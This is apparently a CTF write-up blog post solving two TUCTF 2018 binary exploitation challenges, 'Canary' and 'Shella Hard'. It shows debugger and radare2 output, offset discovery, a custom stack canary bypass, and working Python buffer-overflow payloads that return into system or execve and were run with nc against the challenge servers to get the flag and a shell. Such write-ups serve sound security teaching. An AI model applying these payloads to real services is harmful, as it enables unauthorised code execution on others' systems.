Last weekend I have played at TUCTF with my team PKTeam, We solved almost all challenges and enjoyed with these ones. Also, as I haven't written any writeups for a while, I chose to write two about exploiting.
TUCTF 2018 - Canary 471 - Pwn
Challenge
Difficulty: easy I can fix overflows easy! I'll just make my own stack canary no problem. Just try and pwn this, I dare you
nc 18.222.227.1 12345
Summary
It is a pwn task where we have to bypass a custom "stack smashing protection". Thus, our goal is bypass this canary and generate the payload using the system function and /bin/cat which can be found in the program.
Solution
canary: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9b48c0ff2f3207562359b54cb199bae1583f918c, not stripped
If we open the binary with radare2 we can see that all operations about the "custom canary" are in the function doCanary, also, there is the buffer overflow too.
[0x080486e3]> iI
arch x86
binsz 6586
bintype elf
bits 32
canary false
class ELF32
crypto false
endian little
havecode true
intrp /lib/ld-linux.so.2
lang c
linenum true
lsyms true
machine Intel 80386
maxopsz 16
minopsz 1
nx true
os linux
pcalign 0
pic false
relocs true
relro partial
rpath NONE
static false
stripped false
subsys linux
va true
In the function doCanary is the buffer overflow and the function which check if the canary has been overwritten. So, our purpose is overwrite the canary with a value that we know in order to bypass the "canary check"
Now that we understand how the canary is checked, we can find all offsets using gdb+peda. Our first step, is bypass (mov eax,DWORD PTR [eax*4+0x804a0a0]) which should have a correct address.
EAX: 0x41414641 ('AFAA')
EBX: 0x0
ECX: 0xbffff324 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
EDX: 0x1a4
ESI: 0xb7faa000 --> 0x1d5d8c
EDI: 0x0
EBP: 0xbffff30c --> 0xbffff318 --> 0xbffff358 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
ESP: 0xbffff304 --> 0xb7faa000 --> 0x1d5d8c
EIP: 0x8048677 (: mov eax,DWORD PTR [eax*4+0x804a0a0])
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804866e : mov DWORD PTR [ebp-0x4],eax
0x8048671 : mov eax,DWORD PTR [ebp+0x8]
0x8048674 : mov eax,DWORD PTR [eax+0x2c]
=> 0x8048677 : mov eax,DWORD PTR [eax*4+0x804a0a0]
It is in offset 44.
EAX+0 found at offset: 44
We know that the canary is in 0x804a0a0, so we examine what is in 0x804a0a0+0x4 and it is 0x0.
gdb-peda$ x/gw 0x804a0a0
0x804a0a0 : 0xe2db4407
gdb-peda$ x/gw 0x804a0a0+0x4
0x804a0a4 : 0x00000000
Thus, we can overwrite the canary with 0x0, and it will work! (the canary is at offset 40)
Finally we have bypassed the canary, and we can go to the last ret in order to handle the EIP
gdb-peda$ pattern create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ shell python -c 'print "A"*40+"\x00\x00\x00\x00"+"\x01\x00\x00\x00"+"AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL"' > input
gdb-peda$ r < input
Starting program: /root/Downloads/canary < input
*slides open window*
Password? Yeah right! Scram
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xb7faadc7 --> 0xfab8900a
EDX: 0xb7fab890 --> 0x0
ESI: 0xb7faa000 --> 0x1d5d8c
EDI: 0x0
EBP: 0x41734141 ('AAsA')
ESP: 0xbffff360 ("$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\no\376\267")
EIP: 0x41414241 ('ABAA')
EFLAGS: 0x10296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414241
[------------------------------------stack-------------------------------------]
0000| 0xbffff360 ("$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\no\376\267")
0004| 0xbffff364 ("AACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\no\376\267")
0008| 0xbffff368 ("A-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\no\376\267")
0012| 0xbffff36c ("(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\no\376\267")
0016| 0xbffff370 ("AA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\no\376\267")
0020| 0xbffff374 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\no\376\267")
0024| 0xbffff378 ("EAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\no\376\267")
0028| 0xbffff37c ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\no\376\267")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414241 in ?? ()
gdb-peda$ patts
Registers contain pattern buffer:
EBP+0 found at offset: 4
EIP+0 found at offset: 8
Registers point to pattern buffer:
[ESP] --> offset 12 - size ~99
Pattern buffer found at:
0xbffff358 : offset 4 - size 96 ($sp + -0x8 [-2 dwords])
References to pattern buffer found at:
0xbffff314 : 0xbffff358 ($sp + -0x4c [-19 dwords])
So, we know that EIP can be overwrite at offset 8 in this De Bruijn sequence.
"A"*40+CANARY+0x1+"A"*8+EIP
Now we have the control of EIP, then search for system and /bin/cat flag in order to get the flag.
[0x08048510]> afll~system
0x080484a0 6 1 0 1 3 0x080484a0 6 0x080484a6 0 0 0 1 0 sym.imp.system
[0x08048510]> iz~flag
002 0x000008a9 0x080488a9 15 16 (.rodata) ascii /bin/cat ./flag
Finally, we have all ingredients to make the functional exploit which will print the flag.
$ python -c 'print "A"*40+"\x00\x00\x00\x00"+"\x01\x00\x00\x00"+"CCCCBBBB"+"\xa0\x84\x04\x08"+"AAAA"+"\xa9\x88\x04\x08"' > input
# It works on local
$ cat input | ./canary
*slides open window*
Password? Yeah right! Scram
flag{test-flag-here}
Segmentation fault
and finally, we launch against the server:
hiro@HackingLab:~/CTF/TUCTF_2018/pwn_canary$ python -c 'print "A"*40+"\x00\x00\x00\x00"+"\x01\x00\x00\x00"+"CCCCBBBB"+"\xa0\x84\x04\x08"+"AAAA"+"\xa9\x88\x04\x08"' > input
hiro@HackingLab:~/CTF/TUCTF_2018/pwn_canary$ cat input | nc 18.222.227.1 12345
*slides open window*
Password? Yeah right! Scram
TUCTF{n3v3r_r0ll_y0ur_0wn_c4n4ry}
TUCTF 2018 - Shella Hard 476 - Pwn
Challenge
Difficulty: mind-melting hard This program is crap! Is there even anything here? nc 3.16.169.157 12345
Summary
It is a pwn task with a classic buffer stack overflow. The binary has NX enabled, and the way to get a shell is via execve. In addition, we have the string /bin/sh in the code.
Solution
shella-hard: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4bf12a273afc940e93699d77a19496b781e88246, not stripped
[0x0804843b]> iI
arch x86
baddr 0x8048000
binsz 6047
bintype elf
bits 32
canary false
class ELF32
crypto false
endian little
havecode true
intrp /lib/ld-linux.so.2
lang c
linenum true
lsyms true
machine Intel 80386
maxopsz 16
minopsz 1
nx true
os linux
pcalign 0
pic false
relocs true
relro partial
rpath NONE
static false
stripped false
subsys linux
va true
[0x0804843b]> afll
address size nbbs edges cc cost min bound range max bound calls locals args xref frame name
========== ==== ===== ===== ===== ==== ========== ===== ========== ===== ====== ==== ==== ===== ====
0x080482cc 35 3 3 2 19 0x080482cc 35 0x080482ef 2 0 0 1 12 sym._init
0x08048300 6 1 0 1 3 0x08048300 6 0x08048306 0 0 0 1 0 sym.imp.read
0x08048310 6 1 0 1 3 0x08048310 6 0x08048316 0 0 0 1 0 sym.imp.__libc_start_main
0x08048320 6 1 0 1 3 0x08048320 6 0x08048326 0 0 0 1 0 sym.imp.execve
0x08048330 6 1 0 1 3 0x08048330 6 0x08048336 0 0 0 1 0 sub.__gmon_start_330
0x08048340 33 1 0 1 20 0x08048340 33 0x08048361 1 0 0 0 28 entry0
0x08048370 4 1 0 1 4 0x08048370 4 0x08048374 0 0 0 3 0 sym.__x86.get_pc_thunk.bx
0x08048380 43 4 5 3 22 0x08048380 43 0x080483ab 0 0 0 1 24 sym.deregister_tm_clones
0x080483b0 53 4 5 3 28 0x080483b0 53 0x080483e5 0 0 0 2 24 sym.register_tm_clones
0x080483f0 30 3 3 2 15 0x080483f0 30 0x0804840e 1 0 0 0 8 sym.__do_global_dtors_aux
0x08048410 40 4 6 4 24 0x08048410 43 0x0804843b 0 0 0 0 28 entry1.init
0x0804843b 29 1 0 1 18 0x0804843b 29 0x08048458 1 1 0 1 32 sym.main
0x08048458 26 1 0 1 16 0x08048458 26 0x08048472 1 0 0 0 4 sym.giveShell
0x08048480 93 4 5 3 50 0x08048480 93 0x080484dd 2 0 2 1 28 sym.__libc_csu_init
0x080484e0 2 1 0 1 3 0x080484e0 2 0x080484e2 0 0 0 1 0 sym.__libc_csu_fini
0x080484e4 20 1 0 1 12 0x080484e4 20 0x080484f8 1 0 0 0 12 sym._fini
[0x0804843b]> iz
000 0x00000500 0x08048500 7 8 (.rodata) ascii /bin/sh
As every stack buffer overflow challenges, we will find the offset.
gdb-peda$ pattern create 100 input
Writing pattern of 100 chars to filename "input"
gdb-peda$ r < input
Starting program: /home/hiro/CTF/TUCTF_2018/pwn_shella/shella-hard < input
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xb7fbc000 --> 0x1a8da8
ECX: 0xbffff398 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA\377\277L\364\377\277\232\316\376\267\001")
EDX: 0x1e
ESI: 0x0
EDI: 0x0
EBP: 0x41434141 ('AACA')
ESP: 0xbffff3b0 ("(AADAA\377\277L\364\377\277\232\316\376\267\001")
EIP: 0x41412d41 ('A-AA')
EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41412d41
[------------------------------------stack-------------------------------------]
0000| 0xbffff3b0 ("(AADAA\377\277L\364\377\277\232\316\376\267\001")
0004| 0xbffff3b4 --> 0xbfff4141 --> 0x0
0008| 0xbffff3b8 --> 0xbffff44c --> 0xbffff5d2 ("XDG_VTNR=7")
0012| 0xbffff3bc --> 0xb7fece9a (: add ebx,0x12166)
0016| 0xbffff3c0 --> 0x1
0020| 0xbffff3c4 --> 0xbffff444 --> 0xbffff5a1 ("/home/hiro/CTF/TUCTF_2018/pwn_shella/shella-hard")
0024| 0xbffff3c8 --> 0xbffff3e4 --> 0xa008f5bd
0028| 0xbffff3cc --> 0x804a010 --> 0xb7e2c970 (<__libc_start_main>: push ebp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41412d41 in ?? ()
gdb-peda$ patts
Registers contain pattern buffer:
EIP+0 found at offset: 20
EBP+0 found at offset: 16
Registers point to pattern buffer:
[ECX] --> offset 0 - size ~71
[ESP] --> offset 24 - size ~47
Pattern buffer found at:
0xbffff398 : offset 0 - size 30 ($sp + -0x18 [-6 dwords])
References to pattern buffer found at:
0xb7f6e085 : 0xbffff398 (/lib/i386-linux-gnu/i686/cmov/libc-2.19.so)
0xbffff37c : 0xbffff398 ($sp + -0x34 [-13 dwords])
0xbffff390 : 0xbffff398 ($sp + -0x20 [-8 dwords])
Alright, the EIP to overwrite is at offset 20. But the instruction leave will copy the frame pointer into the stack, so, there we have to write the address where we want to jump - 0x4 (execve - 0x4). after this, we put the address of execve, a dummy and the address of /bin/sh with a NULL byte at the end.
"\x01\x00"+"A"*14+"\x63\x84\x04\x08"+"AAAA"+"\x00\x85\x04\x08"+"\x00"
The first 0x1 is because we need to set 0x1 into ECX register, in order to executes correctly execve. We launch against the server:
hiro@HackingLab:~/CTF/TUCTF_2018/pwn_shella$ python -c 'print "\x01\x00"+"A"*14+"\x63\x84\x04\x08"+"\x67\x84\x04\x08"+"\x00\x85\x04\x08"+"\x00"' > input
hiro@HackingLab:~/CTF/TUCTF_2018/pwn_shella$ (cat input ; cat) | nc 3.16.169.157 12345
ls
chal
flag
id
uid=501(chal) gid=501(chal) groups=501(chal)
cat flag
TUCTF{175_wh475_1n51d3_7h47_c0un75}
Happy hacking!